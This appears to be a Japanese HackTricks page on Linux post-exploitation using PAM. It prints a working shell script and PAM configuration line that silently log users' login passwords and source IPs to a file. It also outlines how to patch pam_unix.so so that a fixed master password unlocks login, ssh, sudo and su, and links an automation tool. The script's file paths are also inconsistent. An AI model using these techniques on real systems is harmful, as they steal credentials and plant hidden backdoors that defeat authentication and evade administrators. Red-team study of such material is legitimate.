Japanese - Ht

Linux Post-Exploitation

htARTE（HackTricks AWS Red Team Expert） でAWSハッキングをゼロからヒーローまで学びましょう！

HackTricksをサポートする他の方法：

PAMを使用してログオンパスワードをスニッフィングする

PAMモジュールを構成して、各ユーザーがログインに使用するパスワードを記録します。PAMが何かわからない場合は、次を確認してください：

pagePAM - Pluggable Authentication Modules

詳細については、元の投稿を確認してください。これは要約です：

技術概要: プラガブル認証モジュール（PAM）は、Unixベースのシステムで認証を管理する柔軟性を提供します。これにより、ログインプロセスをカスタマイズしてセキュリティを向上させることができますが、誤用されるとリスクが生じる可能性もあります。この要約では、PAMを使用してログイン資格情報をキャプチャする技術と、緩和策について概説しています。

資格情報のキャプチャ:

  • toomanysecrets.shという名前のbashスクリプトが作成され、ログイン試行を記録し、日付、ユーザー名（$PAM_USER）、パスワード（stdin経由）、およびリモートホストIP（$PAM_RHOST）を/var/log/toomanysecrets.logにキャプチャします。

  • スクリプトは実行可能になり、pam_exec.soモジュールを使用してPAM構成（common-auth）に統合され、静かに実行され、認証トークンがスクリプトに公開されるオプションが付けられます。

  • この手法は、侵害されたLinuxホストが悪用されて資格情報を控えめに記録する方法を示しています。

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

PAMへのバックドア設置

詳細については、元の投稿を参照してください。以下は要約です：

Pluggable Authentication Module（PAM）は、Linuxでユーザー認証に使用されるシステムです。ユーザー名、パスワード、サービスの3つの主要な概念に基づいて動作します。各サービスの構成ファイルは/etc/pam.d/ディレクトリにあり、共有ライブラリが認証を処理します。

目的: PAMを変更して、特定のパスワードで認証を許可し、実際のユーザーパスワードをバイパスします。特に、ほとんどのサービスでパスワードの検証に使用されるcommon-authファイルで使用されるpam_unix.so共有ライブラリに焦点を当てています。

pam_unix.soの変更手順:

  1. common-authファイル内の認証ディレクティブを特定:

  • ユーザーのパスワードをチェックする責任がある行はpam_unix.soを呼び出します。

  1. ソースコードの変更:

  • pam_unix_auth.cソースファイルに条件付きステートメントを追加し、事前定義されたパスワードが使用された場合にアクセスを許可し、それ以外の場合は通常の認証プロセスを続行します。

  1. 変更したpam_unix.soライブラリを再コンパイルして置き換える。

  2. テスト:

  • 事前定義されたパスワードを使用して、通常の認証プロセスに影響を与えずに、さまざまなサービス（ログイン、ssh、sudo、su、スクリーンセーバー）へのアクセスが許可されます。

https://github.com/zephrax/linux-pam-backdoorを使用してこのプロセスを自動化できます。

PreviousLinux Environment VariablesNextPAM - Pluggable Authentication Modules

Last updated